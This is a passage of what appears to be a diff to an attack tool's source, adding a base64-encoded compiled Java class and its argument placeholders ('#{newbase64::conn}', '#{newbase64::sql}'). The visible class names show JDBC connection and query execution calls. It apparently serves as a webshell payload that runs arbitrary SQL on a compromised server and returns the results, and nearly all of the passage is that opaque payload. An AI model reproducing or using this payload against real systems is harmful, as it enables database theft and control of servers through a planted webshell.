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',
+    [arg1]: '#{newbase64::encode}',
+    [arg2]: '#{newbase64::conn}',
+    [arg3]: '#{newbase64::sql}'
+  }
+})